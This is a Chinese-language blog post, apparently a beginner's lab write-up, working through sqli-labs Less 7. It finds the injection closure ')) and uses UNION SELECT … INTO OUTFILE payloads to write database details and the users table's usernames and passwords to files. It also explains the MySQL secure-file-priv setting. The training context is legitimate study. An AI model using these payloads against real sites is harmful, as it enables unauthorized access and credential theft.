zoukankan      html  css  js  c++  java
  • 小白注入学习:sqli-labs--less7学习记录

    Less7 导出文件字符型注入:

    1.outfile
    Less7的数据库报错被同一处理为了 "You have an error in your SQL syntax"
    SQL语句正确则输出You are in...Use outfile......这里提示使用outfile,通过利用outfile导出文档来查看回显。
    outfile的具体用法是:into outfile '导出文档的具体路径' 可以把被选中的行导入一个文件中。
    2.测试注入点,对id语句进行猜测
    单引号测试: id?=1'--+ 数据库报错
    双引号测试: id=?1" --+ 页面正常显示
    通过这两条信息的对比,单引号是闭合条件之一

    带着单引号 ' 继续猜测
    单引号+括号测试: ?id=1') --+ 数据库报错
    单引号+双括号测试: ?id=1')) --+ 页面正常显示
    这里我们测试出了正确的闭合语句,
    可以推断出后端的SQL语句大概是 select * from users where id = (('$id'))
    (PS小白注释:这里直接猜测 单引号后面加上括号,是由于php脚本语言,能识别的解析变量的字比较少,主要就是 单引号、双引号、括号等)

    3.通过导出文件获取数据库信息
    结合union联合查询语句将查询到的信息导入到一个文件中。
    payload ?id=1')) union select 1,2,SQL查询语句 into outfile '导出文件路径(ps路径双反斜杠)' --+
    (1)获取用户、数据库名、版本号

    ?id=1')) union select user(),database(),version() into outfile 'D:\ProgramData\MySQL\MySQL Server\UpLoads\less7_dbname.txt'--+

    虽然这里数据库报错,但是我们在本地文件中依然找到了文件,下面同理。

    (2)查询users表的数据,导入到本地文件

    ?id=1')) union select 1,username,password from users into outfile 'D:\ProgramData\MySQL\MySQL Server\UpLoads\less7_users.txt'--+

    将users表的信息保存到了less7_users.txt文件中

    (3)Less7也有多种注入方法,可以用sqlmap也可以通过布尔盲注。

    PS小白总结:

    (1) outfile '导出文件路径' 需要mySQL数据库开启secure-file-priv写文件权限
    导出路径应该是这个属性对应的值。
    (2) 路径检查、修改方法
    通过mysql先查看该权限是否开启以及对应的路径

    secure

    如果是NULL则需要修改mySQL安装目录下的my.ini文件
    将secure-file-priv的值修改为你需要的路径即可

    my.ini

    小白注入学习记录!!

  • 相关阅读:
    alpha测试和beta测试的区别
    当设计师遭遇HTML5
    软件开发项目中如何进行风险管理
    程序员应知——关注细节
    与Janet关于敏捷测试若干问题的Q&A
    软件开发中的哲学——世界的本原是物质(一)
    软件开发中的哲学——写在前面
    软硬兼施让客户满意
    浅谈DBA的角色以及与业务的关系
    连接access时的REGDB_E_CLASSNOTREG(0x80040154)错误
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less7.html
Copyright © 2011-2022 走看看